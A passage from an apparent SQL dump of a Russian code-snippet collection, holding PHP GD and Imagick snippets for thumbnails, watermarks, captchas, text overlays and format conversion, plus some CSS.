$this-&gt;img[&quot;lebar_thumb&quot;] = ($this-&gt;img[&quot;tinggi_thumb&quot;]/$this-&gt;img[&quot;tinggi&quot;])*$this-&gt;img[&quot;lebar&quot;]; } }  function jpeg_quality($quality=100) { //jpeg quality $this-&gt;img[&quot;quality&quot;]=$quality; }    function show($gd_version) { Header(&quot;Content-Type: image/&quot;.$this-&gt;img[&quot;format&quot;]); if($gd_version==2) { $this-&gt;img[&quot;des&quot;] = imagecreatetruecolor($this-&gt;img[&quot;lebar_thumb&quot;],$this-&gt;img[&quot;tinggi_thumb&quot;]); imagecopyresampled ($this-&gt;img[&quot;des&quot;], $this-&gt;img[&quot;src&quot;], 0, 0, 0, 0, $this-&gt;img[&quot;lebar_thumb&quot;],$this-&gt;img[&quot;tinggi_thumb&quot;], $this-&gt;img[&quot;lebar&quot;], $this-&gt;img[&quot;tinggi&quot;]); } if($gd_version==1) { $this-&gt;img[&quot;des&quot;] = imagecreate($this-&gt;img[&quot;lebar_thumb&quot;],$this-&gt;img[&quot;tinggi_thumb&quot;]); imagecopyresized ($this-&gt;img[&quot;des&quot;], $this-&gt;img[&quot;src&quot;], 0, 0, 0, 0, $this-&gt;img[&quot;lebar_thumb&quot;],$this-&gt;img[&quot;tinggi_thumb&quot;], $this-&gt;img[&quot;lebar&quot;], $this-&gt;img[&quot;tinggi&quot;]); } if ($this-&gt;img[&quot;format&quot;]==&quot;JPG&quot; || $this-&gt;img[&quot;format&quot;]==&quot;JPEG&quot;) { //JPEG imageJPEG($this-&gt;img[&quot;des&quot;],&quot;&quot;,$this-&gt;img[&quot;quality&quot;]); } elseif ($this-&gt;img[&quot;format&quot;]==&quot;PNG&quot;) { //PNG imagePNG($this-&gt;img[&quot;des&quot;]); } elseif ($this-&gt;img[&quot;format&quot;]==&quot;GIF&quot;) { //GIF imageGIF($this-&gt;img[&quot;des&quot;]); } }  function save($save=&quot;&quot;,$gd_version) {  if($gd_version==2) { $this-&gt;img[&quot;des&quot;] = imagecreatetruecolor($this-&gt;img[&quot;lebar_thumb&quot;],$this-&gt;img[&quot;tinggi_thumb&quot;]); @imagecopyresampled ($this-&gt;img[&quot;des&quot;], $this-&gt;img[&quot;src&quot;], 0, 0, 0, 0, $this-&gt;img[&quot;lebar_thumb&quot;], $this-&gt;img[&quot;tinggi_thumb&quot;], $this-&gt;img[&quot;lebar&quot;], $this-&gt;img[&quot;tinggi&quot;]); } if($gd_version==1) { $this-&gt;img[&quot;des&quot;] = imagecreate($this-&gt;img[&quot;lebar_thumb&quot;],$this-&gt;img[&quot;tinggi_thumb&quot;]); @imagecopyresized ($this-&gt;img[&quot;des&quot;], $this-&gt;img[&quot;src&quot;], 0, 0, 0, 0, $this-&gt;img[&quot;lebar_thumb&quot;], $this-&gt;img[&quot;tinggi_thumb&quot;], $this-&gt;img[&quot;lebar&quot;], $this-&gt;img[&quot;tinggi&quot;]); } if ($this-&gt;img[&quot;format&quot;]==&quot;JPG&quot; || $this-&gt;img[&quot;format&quot;]==&quot;JPEG&quot;) { //JPEG imageJPEG($this-&gt;img[&quot;des&quot;],&quot;$save&quot;,$this-&gt;img[&quot;quality&quot;]); } elseif ($this-&gt;img[&quot;format&quot;]==&quot;PNG&quot;) { //PNG imagePNG($this-&gt;img[&quot;des&quot;],&quot;$save&quot;); } elseif ($this-&gt;img[&quot;format&quot;]==&quot;GIF&quot;) { //GIF imageGIF($this-&gt;img[&quot;des&quot;],&quot;$save&quot;); } }   function open_save($open, $save, $size, $gd) { $this-&gt;thumb($open); $this-&gt;size_auto($size); $this-&gt;save($save, $gd); }  }','files_3867_4516_',151),(205,20,'Функция создание мини-изображений','$imgfile - путь к исходному изображению\r\n$imgthumb - имя для нового файла\r\n$newwidth - ширина нового файла( как правило уменьшают по ширине)','function create_img_gd( $imgfile, $imgthumb, $newwidth ) { if (function_exists(\'imagecreate\')) { $imginfo = getimagesize( $imgfile );  switch( $imginfo[2] ) { case 1: $type = IMG_GIF; break; case 2: $type = IMG_JPG; break; case 3: $type = IMG_PNG; break; case 4: $type = IMG_WBMP; break; default: return $imgfile; }  switch( $type ) { case IMG_GIF: if (!function_exists(&quot;imagecreatefromgif&quot;)) return $imgfile; $srcImage = imagecreatefromgif( $imgfile ); break; case IMG_JPG: if (!function_exists(&quot;imagecreatefromjpeg&quot;)) return $imgfile; $srcImage = imagecreatefromjpeg( $imgfile ); break; case IMG_PNG: if(!function_exists(&quot;imagecreatefrompng&quot;)) return $imgfile; $srcImage = imagecreatefrompng( $imgfile ); break; case IMG_WBMP: if (!function_exists(&quot;imagecreatefromwbmp&quot;)) return $imgfile; $srcImage = imagecreatefromwbmp( $imgfile ); break; default: return $imgfile; }  if ( $srcImage ) { $srcWidth = $imginfo[0]; $srcHeight = $imginfo[1]; $ratioWidth = $srcWidth / $newwidth; $destWidth = $newwidth; $destHeight = $srcHeight / $ratioWidth; $destImage = imagecreatetruecolor( $destWidth, $destHeight );  imagealphablending($destImage, true); imagealphablending($srcImage, false); imagecopyresized($destImage, $srcImage, 0, 0, 0, 0, $destWidth, $destHeight, $srcWidth, $srcHeight);  switch( $type ) { case IMG_GIF: imagegif( $destImage, $imgthumb); break; case IMG_JPG: imagejpeg( $destImage, $imgthumb); break; case IMG_PNG: imagepng( $destImage, $imgthumb); break; case IMG_WBMP: imagewbmp( $destImage, $imgthumb); break; }  imagedestroy($srcImage); imagedestroy($destImage); return $imgthumb; } else { return $imgfile; } } else { return $imgfile; } }','files_1637_1314_',151),(206,20,'Анимация текста','Создания анимационого текста Test','&lt;?php  $animation = new Imagick();  $animation-&gt;setFormat(\'gif\');    $color = new ImagickPixel(\'white\');  $color-&gt;setColor(\'white\');  $string = \'Test\';  $draw = new ImagickDraw();  //$draw-&gt;setFont(\'Arial\');  for ($i = 0; $i &lt;= strlen($string); $i++)  {  $part = substr($string, 0, $i);    $animation-&gt;newImage(100, 40, $color);    $animation-&gt;annotateImage($draw, 10, 20, 0, $part);  $animation-&gt;setImageDelay(30);  }    //$draw-&gt;setFont(\'Arial-Bold\');  $draw-&gt;setTextDecoration(imagick::DECORATION_UNDERLINE);  $animation-&gt;newImage(100, 40, $color);    $animation-&gt;annotateImage($draw, 10, 20, 0, $string);  $animation-&gt;setImageDelay(70);  header(\'Content-Type: image/gif\');  echo $animation-&gt;getImagesBlob();  ?&gt;','files_5518_4457_',151),(207,20,'Предпросмотр изображений','Предпросмотр изображений','&lt;? //путь к файлу картинки (jpg,gif,png) $img =\'example.jpg\' ; $info = getimagesize ($img ); //оригинальная ширина $w_or = $info [ 0 ]; //оригинальная высота $h_or = $info [ 1 ]; //тип $type = $info [ \'mime\' ]; //создаем изображение $im1 =\'\' ; if ( $type ==\'image/jpeg\' ) $im1 =ImageCreateFromJpeg( $img ); if ( $type ==\'image/gif\' ) $im1 =ImageCreateFromGif ($img ); if ( $type ==\'image/png\' ) $im1 =ImageCreateFromPng ($img ); if (! $im1 ) die ( \'ошибка\' ); //далее условимся, что максимальный размер одной из сторон превьюшки равен 80 пикселей //высчитаем коэффицент масштаба if ( $w_or &gt; $h_or ) { $k = $w_or / 80; } else { $k = $h_or / 80; } //высчитаем размеры превьюшки $w = round( $w_or / $k ); $h = round( $h_or / $k ); //$im2=ImageCreate($w,$h); (если хотите ПЛОХОЕ качество картинки испоьзуйте эту функцию ;) ) $im2 =imagecreatetruecolor ( $w , $h ); //ImageCopyResized($im2,$im1,0,0,0,0,$w,$h,$w_or,$h_or); (если хотите ПЛОХОЕ качество картинки испоьзуйте эту функцию ;) ) imagecopyresampled( $im2 ,$im1 , 0 ,0 , 0, 0 ,$w , $h , $w_or , $h_or ); if ( $type ==\'image/jpeg\' ) { header (\'Content-type:image/jpeg\' ); ImageJpeg ( $im2 ); } elseif ( $type == \'image/gif\' ) { header (\'Content-type:image/gif\' ); ImageGif ($im2 ); } elseif ( $type == \'image/png\' ) { header (\'Content-type:image/png\' ); ImagePng ($im2 ); } else die ( \'ошибка\' ); ?&gt;','files_2926_2720_',151),(208,20,'Вывод надписи на изображении шрифтом','Вывод надписи на изображении шрифтом','&lt;? //текст в утф-8 (можно с переносом строки) $text = &quot;выводимая \\n строка&quot; ; //АБСОЛЮТНЫЙ путь к шрифту! например шрифт arial.ttf лежит в папке скрипта $font = getcwd (). \'/arial.ttf\' ; //создаем изображение 100*100 $im = imagecreatetruecolor (100 , 100 ); //белый фон изображения $white = imagecolorallocate ( $im , 255 , 255 , 255 ); //цвет букв $red = imagecolorallocate ( $im , 255 , 0, 0); //заливаем белым фоном imagefilledrectangle ($im , 0, 0 , 100 , 100 , $white ); //наносим текст imagettftext ($im , 9, 0, 10, 20, $red , $font ,$text ); /* imagettftext ( идентификатор, размер шрифта, угол поворота, начальная точка по Х, начальная точка по У, путь к шрифту, текст ) */ //выдача в браузер header (\'Content-Type: image/jpeg\' ); imagejpeg ($im ); ?&gt;','files_4863_3666_',151),(209,20,'Текст на картенку','Текст,картинка,цвет','&lt;?php $img =$_GET [ \'img\' ]; $copy = strtoupper ( $_SERVER [ \'HTTP_HOST\' ]); if( $img ==&quot;&quot;) exit(); writeTextOnImage ( $img , &quot;Www.MySuperSite.Com&quot; ); function writeTextOnImage ( $filename, $text ) { if( $filename == &quot;&quot;)exit(); $size_img = getimagesize ( $filename); if( $size_img [ 2]== 2 ) $src_img = imagecreatefromjpeg ( $filename); elseif ( $size_img [2 ]== 1 ) $src_img = imagecreatefromgif ( $filename); elseif ( $size_img [2 ]== 3 ) $src_img = imagecreatefrompng ( $filename); if(!$src_img ) exit(); //Назначаемцвет $color = imagecolorallocatealpha ( $src_img , 255 , 255 , 0, 10); $font_file = &quot;impact.ttf&quot; ; $img_x = imagesx ( $src_img ); $img_y = imagesy ( $src_img ); $height_font = 13; $angle =0 ; //Записьтекста поверх изображения $xminus = $img_x - 130 ; $box = imagettftext ( $src_img , $height_font , $angle ,$xminus , $img_y - 8, $color , $font_file , $text ); //Вывод изображенияв браузер if( $size_img [ 2]== 2 ) { header (&quot;Content- type:image/ jpeg&quot; ); imagejpeg ( $src_img ); } elseif ( $size_img [2 ]== 1 ) { header (&quot;Content- type:image/ gif&quot; ); imagegif ( $src_img ); } elseif ( $size_img [2 ]== 3 ) { header (&quot;Content- type:image/ png&quot; ); imagepng ( $src_img ); } returntrue; } ?&gt;','files_5433_5070_',151),(210,20,'Путь к смайлам','Путь к смайлам будет вида\r\n/папка_со_смайлами/смайлпак/смайл.расширение\r\nСписок смайлов хранится в файле smiles.list (название можно менять), который находится там где и смайлы.','&lt;?php class Smiles { private $pack = \'default\'; //смайлпак private $dir = \'/smiles/\'; private $smiles_list = \'smiles.list\'; //список смайлов private $data = array(); public function __construct($config = array()) { foreach($config as $key=&gt;$val) $this-&gt;$key = $val; $file = file($_SERVER[\'DOCUMENT_ROOT\'].$this-&gt;dir.$this-&gt;pack.\'/\'.$this-&gt;smiles_list); $rows = sizeof($file); list($delimiter, $ext) = explode(\'###\', $file[0]); for($i = 1; $i &lt; $rows; $i++) { $arr = explode($delimiter, $file[$i]); foreach($arr as $val) { $val = trim($val); $this-&gt;data[$val] = \'&lt;img src=&quot;\'.$this-&gt;dir.$this-&gt;pack.\'/\'.$i.\'.\'.$ext.\'&quot; alt=&quot;\'.$val.\'&quot;/&gt;\'; } } } public function replace($text) { return strtr($text, $this-&gt;data); } } ?&gt;','files_3140_2882_',151),(211,20,'Проверяем, подключена- ли библиотека GD...','Проверяем, подключена- ли библиотека GD...','&lt;? $extension=&quot;gd&quot;; # имя библиотеки if (extension_loaded ($extension)) { echo &quot;Библиотека &quot;. $extension.&quot; - подключена&quot;; } else { echo &quot;Библиотека &quot;. $extension.&quot; - не подключена&quot;; } ?&gt;','files_5507_4566_',151),(212,20,'Перевод цвета изображения в чёрно-белоe','Перевод цвета изображения в черно-белоe','&lt;?php $im = ImageCreateFromJpeg (&quot;file.jpg&quot;); $size = getimagesize (&quot;file.jpg&quot;); $new = imagecreate ($size[0], $size [1]); $black = imagecolorallocate ($new, 0, 0, 0); $white = imagecolorallocate ($new, 0xFF, 0xFF, 0xFF); for ($i = 1; $i &lt; $size [0]; $i++) { for ($j = 1; $j &lt; $size [1]; $j++) { $rgb = ImageColorAt ($im, $i, $j); $r = ($rgb &gt;&gt; 16) &amp; 0xFF; $g = ($rgb &gt;&gt; 8) &amp; 0xFF; $b = $rgb &amp; 0xFF; if ( $r &lt; 128 &amp;&amp; $r &lt; 128 &amp;&amp; $b &lt; 128 ) { imagesetpixel ($new, $i, $j, $black); } elseif ( $r &gt;= 128 &amp;&amp; $r &gt;= 128 &amp;&amp; $b &gt;= 128 ) { imagesetpixel ($new, $i, $j, $white); } } } header(&quot;Content- type: image/ jpeg&quot;); imagejpeg ($new, null, 100); imagedestroy ($im); imagedestroy ($new); ?&gt;','files_4831_2946_',151),(213,20,'Создание изображений с областями прозрачности','Создание изображений с областями прозрачности','&lt;?php $im = imageCreate (620, 241); $t = imageColorAllocate ($im, 0, 0, 0); $c = imageColorAllocate ($im, 0, 255, 0); imageFill ($im, 0, 0, $c); imageFilledRectangle ($im, 180, 20, 420, 220, $t); imageColorTransparent ($im, $t); Header(&quot;Content- type: image/ png&quot;); imagePng($im);?&gt;','files_3025_1611_',151),(214,20,'Анимационный текст (GIF!)','Создастся анимация с текстом\r\nprowm.ml.\r\nТребуется\r\nбиблиотека Image Magick','&lt;?php $animation = new Imagick (); $animation- &gt;setFormat (\'gif\'); $color = new ImagickPixel (\'white\'); $color-&gt;setColor (\'white\'); $string = \'prowm.ml\'; $draw = new ImagickDraw (); //$draw-&gt;setFont (\'Arial\'); for ($i = 0; $i &lt;= strlen ($string); $i++) { $part = substr ($string, 0, $i); $animation- &gt;newImage (100, 40, $color); $animation- &gt;annotateImage ($draw, 10, 20, 0, $part); $animation- &gt;setImageDelay (30); } //$draw-&gt;setFont (\'Arial-Bold\'); $draw- &gt;setTextDecoration (imagick::DECORATION_UNDERLINE); $animation- &gt;newImage (100, 40, $color); $animation- &gt;annotateImage ($draw, 10, 20, 0, $string); $animation- &gt;setImageDelay (70); header(\'Content- Type: image/ gif\'); echo $animation- &gt;getImagesBlob(); ?&gt;','files_5291_3222_',151),(215,20,'Увеличение картинки со сглаживанием','Увеличивает картинку на 2000х2000','&lt;?php $from = imageCreateFromJpeg (&quot;sample2.jpg&quot;); $to = imageCreateTrueColor (2000, 2000); imageCopyResampled ( $to, $from, 0, 0, 0, 0, imageSX ($to), imageSY ($to), imageSX ($from), imageSY ($from) ); header(&quot;Content- type: image/ jpeg&quot;); imageJpeg($to); ?&gt;','files_1595_3644_',151),(216,20,'Генерация случайного числа на картинке','Генерация случайного числа на картинке','&lt;?php /* *Генерация случайного числа на картинке *автор: nc_soft *25.08.07 */ $rand = mt_rand ( 10000 , 99999); //случайное число $img = &quot;fone.jpg&quot; ; //фон (jpg файл) 90*68 $pic = imageCreateFromjpeg ( $img ); //создаем картинку $size = 24 ; //размер шрифта $angle = rand ( -10 , 10 ); //угол поворота $x = rand( -2 , 15 ); //смещение по оризонтали $y = rand( 35 , 60 ); //смещение по вертикали $color = rand ( 1000, 9999999); //случайный цвет $font = \'times\' ; //шрифт ImageTTFtext( $pic , $size , $angle , $x , $y , $color , $font , $rand ); /* imagettftext(image, size, angle, x, y, col, fontfile, text) Итак, size — размер шрифта текста в пикселях, angle — угол наклона текста в градусах (0 — нормальный горизонтальный вывод слева направо, 90, к примеру — снизу вверх, и так далее по кругу против часовой стрелки). Параметр fontfile — путь к самому .ttf файлу шрифта и, наконец, text — строка, представляющая выводимый текст, функция предусматривает возможность переноса строк, тоесть удобна для вывода именно текста. Для переноса нужно вставить последовательность символов \\n\\r (перенос строки и возврат каретки). */ //выдача header( \'Content-type:image/jpeg\' ); imagejpeg ( $pic ); imagedestroy( $pic ); ?&gt;','files_1363_5279_',151),(217,20,'Конвертирование jpg в html','Конвертирование jpg в html с 100%\r\nсохранением качества картинки.\r\n(размер знчительно увеличеваеться)','&lt;? $imgjpg = \'pic.jpg\' ; // имя jpg картинки set_time_limit ( 0 ); $start = time( \'s\' ); $fo = fopen ( $imgjpg . \'.html\' ,\'w\' ); fwrite ( $fo , \'&lt;table border=0 cellspacing=0 {width: 1px;height: 1px;}&lt;/ style&gt;\' ); $im = ImageCreateFromjpeg ( $imgjpg ); $sim =array ( 0 ,1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ,\'A\' ,\'B\' ,\'C\' , \'D\',\'E\' , \'F\' ); function to16( $de ) { global $sim ; $ans = \'\'; $ans .= $sim [( $de - $de %16 )/ 16]; $ans .= $sim [ $de %16]; return $ans ; } $x = imagesx( $im ); $y = imagesy( $im ); for( $j = 0 ;$j &lt;$y ;$j ++) {fwrite ( $fo ,\'&lt;tr&gt;\' ); for( $i = 0; $i &lt; $x ; $i ++) { $rgb = ImageColorAt( $im , $i , $j ); $r = to16 (($rgb &gt;&gt; 16) &amp; 0xFF ); $g = to16 (( $rgb &gt;&gt; 8 ) &amp; 0xFF ); $b = to16( $rgb &amp; 0xFF ); fwrite( $fo ,&quot;&lt;td bgcolor=$r$g $b&gt;&lt;/td&gt;&quot; ); } fwrite( $fo , \'&lt;/tr&gt;\' ); } fclose ( $fo ); echo \'Законченно за: \' .( time( \'s\' )- $start ). \' секунд (ы)&lt;br&gt;&lt;a href=&quot;\' . $imgjpg . \'.html&quot;&gt;Открыть&lt;/a&gt;\' ; ?&gt;','files_5426_5556_',151),(218,20,'Правильный ресайз прозрачных картинок на PHP','Я думаю ни для кого не секрет, что в PNG реализована поддержка альфа канала. То есть цвет задается четырьмя компонентами: R (красный), G (зеленый), B (синий), альфа. Альфа канал задает прозрачность конкретного пикселя.\r\nА вот GIF-е прозрачность реализована по-другому. В нем один из используемых цветов (любой, на выбор автора картинки) объявляется как прозрачный, и при отрисовке данной картинки пиксели имеющие данный цвет заменяются прозрачными пикселями.','Ресайзим PNG &lt;?php // Путь и имя изображения $src = \'/imgs/izobrazhenie.png\'; $source_resource = imagecreatefrompng($src);  //Создаем полноцветное изображение $destination_resource = imagecreatetruecolor($newwidth, $newheight);  //Отключаем режим сопряжения цветов imagealphablending($destination_resource, false);  //Включаем сохранение альфа канала imagesavealpha($destination_resource, true);  //Ресайз imagecopyresampled($destination_resource, $source_resource, 0, 0, 0, 0, $newwidth, $newheight, $oldwidth, $oldheight);  //Сохранение imagepng($destination_resource, $destination_path); ?&gt;  Ресайзим GIF &lt;?php // Путь и имя изображения $src = \'/imgs/izobrazhenie.gif\'; $source_resource = imagecreatefromgif($src); //Создаем изображение, кстати для GIF можно использовать обычную imagecreate, но лучше все таки везде использовать imagecreatetruecolor $destination_resource = imagecreatetruecolor($newwidth, $newheight);  //Получаем прозрачный цвет $transparent_source_index = imagecolortransparent($source_resource);  //Проверяем наличие прозрачности if($transparent_source_index != -1){ $transparent_color = imagecolorsforindex($source_resource, $transparent_source_index);  //Добавляем цвет в палитру нового изображения, и устанавливаем его как прозрачный $transparent_destination_index = imagecolorallocate($destination_resource, $transparent_color[\'red\'], $transparent_color[\'green\'], $transparent_color[\'blue\']); imagecolortransparent($destination_resource, $transparent_destination_index);  //На всякий случай заливаем фон этим цветом imagefill($destination_resource, 0, 0, $transparent_destination_index); }  //Ресайз imagecopyresampled($destination_resource, $source_resource, 0, 0, 0, 0, $newwidth, $newheight, $oldwidth, $oldheight);  //Сохранение imagegif($destination_resource, $destination_path); ?&gt;','files_5534_5161_',151),(219,20,'Градиент на фон','Простой фон, типо звезды, можете\r\nпо издеватся с перемеными, кординаты зведы\r\nх,у , цвет с, можно зделать в виде отдельного\r\nпункта, изменив длину цикла i&lt;180, и т.д','public void paint(Graphics g) { grad (g,50,50,0,255); } static void grad (Graphics g,int x,int y,int n,int c) { for(int i=0;i&lt;180;i++) { g.setColor(0,c--,c); g.drawRect(x--,y--,n+=2,n); }','files_3641_1525_',151),(220,20,'Класс наложения копирайта на изображение','Класс наложения копирайта на изображение','&lt;?php class CopyrightImage { var $filename; var $copyname; var $src_w; var $src_h; var $dest_w; var $dest_h; var $src_img; var $dest_img; function __construct($fname, $copyfname) { $isa = getimagesize($fname); $icsa = getimagesize($copyfname); $this-&gt;filename = $fname; $this-&gt;copyname = $copyfname; $this-&gt;src_w = $isa[0]; $this-&gt;src_h = $isa[1]; $this-&gt;dest_w = $icsa[0]; $this-&gt;dest_h = $icsa[1]; if($isa[2]==3) $this-&gt;src_img = imagecreatefrompng($this-&gt;filename); if($isa[2]==2) $this-&gt;src_img = imagecreatefromjpeg($this-&gt;filename); if($isa[2]==1) $this-&gt;src_img = imagecreatefromgif($this-&gt;filename); if($icsa[2]==3) $this-&gt;dest_img = imagecreatefrompng($this-&gt;copyname); if($icsa[2]==2) $this-&gt;dest_img = imagecreatefromjpeg($this-&gt;copyname); if($icsa[2]==1) $this-&gt;dest_img = imagecreatefromgif($this-&gt;copyname); } function copyright() { $dest_w_old=$this-&gt;dest_w; $dest_h_old=$this-&gt;dest_h; if (ceil($this-&gt;src_w/5)&lt;=$this-&gt;dest_w) { $coef =ceil($this-&gt;dest_w/$this-&gt;src_w); $this-&gt;dest_w =ceil($this-&gt;dest_w/($coef)); $this-&gt;dest_h =ceil($this-&gt;dest_h/($coef)); } $x=$this-&gt;src_w-$this-&gt;dest_w; $y=$this-&gt;src_h-$this-&gt;dest_h; imagecopyresampled($this-&gt;src_img, $this-&gt;dest_img, $x, $y, 0, 0, $this-&gt;dest_w, $this-&gt;dest_h, $dest_w_old, $dest_h_old); } function conc() { header(\'Content-Type: image/png\'); imagepng($this-&gt;src_img); } function __destruct() { imagedestroy($this-&gt;src_img); imagedestroy($this-&gt;dest_img); } } ?&gt; Пример использования: &lt;?php $object = new CopyrightImage(\'image.jpg\', \'copyright.png\'); $object-&gt;copyright(); $object-&gt;conc(); ?&gt;','files_3259_2533_',151),(221,20,'Нанести текст на картинку','Нанести текст на картинку','&lt;?php $img = $_GET[\'img\']; $copy = strtoupper($_SERVER[\'HTTP_HOST\']); if ($img == &quot;&quot;) exit(); writeTextOnImage($img, &quot;Www.MySuperSite.Com&quot;); function writeTextOnImage($filename, $text) { if ($filename == &quot;&quot;) exit(); $size_img = getimagesize($filename); if ($size_img[2]==2) $src_img = imagecreatefromjpeg($filename); else if ($size_img[2]==1) $src_img = imagecreatefromgif($filename); else if ($size_img[2]==3) $src_img = imagecreatefrompng($filename); if (!$src_img) exit(); // Назначаем цвет $color = imagecolorallocatealpha($src_img, 255, 255, 0, 10); $font_file = &quot;impact.ttf&quot;; $img_x = imagesx($src_img); $img_y = imagesy($src_img); $height_font = 13; $angle = 0; // Запись текста поверх изображения $xminus = $img_x - 130; $box = imagettftext($src_img, $height_font, $angle, $xminus, $img_y - 8, $color, $font_file, $text); // Вывод изображения в браузер if ($size_img[2]==2) { header (&quot;Content-type: image/jpeg&quot;); imagejpeg($src_img); } else if ($size_img[2]==1) { header (&quot;Content-type: image/gif&quot;); imagegif($src_img); } else if ($size_img[2]==3) { header (&quot;Content-type: image/png&quot;); imagepng($src_img); } return true; } ?&gt;','files_2353_3445_',151),(222,20,'3D Capthca','Реализация\r\nкапчи, все четко и ничего лишнего, в стиле','&lt;?php /* 3D Captcha */ /* Реализация капчи, все четко и ничего лишнего, в стиле ооп */ $capthca = new Capthca3d(); $capthca-&gt;render(); class Capthca3d{ const CHARS = \'WEafRTYIPAGHJKXBNM3479j\'; protected $hypot = 8; protected $image = null; protected $text = \'\'; public function __construct() { $this-&gt;time = microtime(true); $this-&gt;generateCode(); } protected function generateCode() { $chars = self::CHARS; for($i =0; $i&lt;3; $i++){ $this-&gt;text .= $chars{ mt_rand(0,22)}; } } public function getText() { return $this-&gt;text; } protected function getProection($x1,$y1,$z1) { $x = $x1 * $this-&gt;hypot; $y = $z1 * $this-&gt;hypot; $z = -$y1 * $this-&gt;hypot; $xx = 0.707106781187; $xy = 0; $xz = -0.707106781187; $yx = 0.408248290464; $yy = 0.816496580928; $yz = 0.408248290464; $cx = $xx*$x + $xy*$y + $xz*$z; $cy = $yx*$x + $yy*$y + $yz*$z+ 20 * $this- &gt;hypot; return array( \'x\' =&gt; $cx, \'y\' =&gt; $cy ); } function zFunction($x,$y){ $z = imagecolorat($this-&gt;image,$y/2,$x/2)&gt;0? 2.6:0; if( $z != 0 ){ $z += mt_rand(0,60)/100; } $z += 1.4 * sin(($x+$this- &gt;startX)*3.141592654/15)*sin(($y+$this- &gt;startY)*3.141592654/15); return $z; } public function render() { $xx =30; $yy =60; $this-&gt;image = imageCreateTrueColor($yy * $this-&gt;hypot , $xx * $this-&gt;hypot); $whiteColor = imageColorAllocate($this- &gt;image,255,255,255); imageFilledRectangle($this-&gt;image,0,0,$yy * $this-&gt;hypot , $xx * $this-&gt;hypot,$whiteColor); $textColor = imageColorAllocate($this- &gt;image,0,0,0); imageString($this-&gt;image, 5, 3, 0, $this-&gt;text, $textColor); $this-&gt;startX = mt_rand(0,$xx); $this-&gt;startY = mt_rand(0,$yy); $coordinates = array(); for($x = 0; $x &lt; $xx + 1; $x++){ for($y = 0; $y &lt; $yy + 1; $y++){ $coordinates[$x][$y] = $this-&gt;getProection($x, $y,$this-&gt;zFunction($x,$y)); } } for($x = 0; $x &lt; $xx; $x++){ for($y = 0; $y &lt; $yy; $y++){ $coord = array(); $coord[] = $coordinates[$x][$y][\'x\']; $coord[] = $coordinates[$x][$y][\'y\']; $coord[] = $coordinates[$x+1][$y][\'x\']; $coord[] = $coordinates[$x+1][$y][\'y\']; $coord[] = $coordinates[$x+1][$y+1][\'x\']; $coord[] = $coordinates[$x+1][$y+1][\'y\']; $coord[] = $coordinates[$x][$y+1][\'x\']; $coord[] = $coordinates[$x][$y+1][\'y\']; $c = (int) ($this-&gt;zFunction($x,$y)*32); $linesColor = imageColorAllocate($this-&gt;image, $c, $c, $c); imageFilledPolygon($this-&gt;image, $coord, 4, $whiteColor); imagePolygon($this-&gt;image, $coord, 4, $linesColor); } } $textColor = imageColorAllocate($this- &gt;image,0,0,0); imageString($this-&gt;image, 5, 3, 0, $this-&gt;text, $whiteColor); imageString($this-&gt;image, 1, 3, 0, (microtime (true)-$this-&gt;time), $textColor); header(\'Content-Type: image/png\'); imagepng($this-&gt;image); imagedestroy($this-&gt;image); } } ?&gt;','files_3102_3761_',151),(223,20,'Диаграмма','Маленькая диаграмма в виде полосски. Через GET запрос передаем количество процентов, которое надо зарисовать. Например rat.php?p=42\r\nЗарисуется 42% полоски.','&lt;?php  //Определяем сколько надо закрасить  $p = (isset($_GET[\'p\']) &amp;&amp; $_GET[\'p\']&gt;=0 &amp;&amp; $_GET[\'p\']&lt;=100) ? (int)$_GET[\'p\'] : 50;  //Создаем картинку  $image = imagecreate(123, 8);  //Цвет фона  $bg = imagecolorallocate ($image, 0, 0, 0);  //Цвет активной части и надписи к-ва %  $act = imagecolorallocate($image, 210, 210, 210);  //Цвет пассивной части  $emp = imagecolorallocate($image, 250, 250, 250);  imagefill($image, 0, 0, $bg);  imagefilledrectangle($image, 1, 1, 100, 6, $emp);  if($p &gt; 0)  imagefilledrectangle($image, 1, 1, $p, 6, $act);  //Пишем к-во %  imagestring($image, 1, 102, 0, $p.\'%\', $act);  header(\'Content-type: image/png\');  imagepng($image);  imagedestroy($image);  ?&gt;','files_4028_2937_',151),(224,20,'Градиент CSS','Градиент CSS','background-image: -webkit-linear-gradient(bottom, #f7773b 0%, #eb5d10 100%); background-image: -moz-linear-gradient(bottom, #f7773b 0%, #eb5d10 100%); background-image: -o-linear-gradient(bottom, #f7773b 0%, #eb5d10 100%);','files_2420_5550_',151),(225,20,'Увеличение картинки со сглаживанием','Увеличение картинки со сглаживанием.','&lt;?php $from = imageCreateFromJpeg (&quot;image2.jpg&quot; ); $to = imageCreateTrueColor (2000 , 2000 ); imageCopyResampled( $to , $from , 0, 0 , 0 , 0 , imageSX ($to ), imageSY( $to ), imageSX( $from ), imageSY ($from ) ); header( &quot;Content- type: image/jpeg&quot; ); imageJpeg( $to ); ?&gt;','files_5570_3729_',151),(226,20,'конвертер форматов изображений','конвертер форматов изображений','&lt;?php /* *конвертор форматов изображений *автор: nc_soft *21.09.07 */  //исходник $source=\'kartinka.png\';  //куда сохраняем $destination=\'soxranyaem.gif\';  //создаем изображение $img=imagecreatefrompng($source);  //сохраняем его в gif формате imagegif($img,$destination);  /*краткая запись imagegif(imagecreatefrompng(\'kartinka.png\'),\'soxranyaem.gif\') соответственно, для других форматов используются другие графические функции imagecreatefrompng imagecreatefromjpeg imagecreatefromgif и imagepng imagegif imagejpeg  ВНИМАНИЕ!! при сохранении в формате jpeg необходимо учитывать, что у функции imagejpeg() ТРИ параметра, поэтому сохранять необходимо так imagejpeg($img,\'\',$destination); (средний параметр обозначает качество jpeg в процентах, но можно и не указывать)  */ ?&gt;','files_1897_5339_',151),(227,20,'CSS reset - сброс стиля браузера','Подключая этот стиь вы сбрасываете все значения CSS &quot;по умолчанию&quot; любого браузера. Это для того, чтобы быть уверенными, что стиль сайта везде отображается одинаково.','html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video { margin: 0; padding: 0; border: 0; font-size: 100%; font: inherit; vertical-align: baseline; } /* HTML5 display-role reset for older browsers */ article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section { display: block; } body { line-height: 1; } ol, ul { list-style: none; } blockquote, q { quotes: none; } blockquote:before, 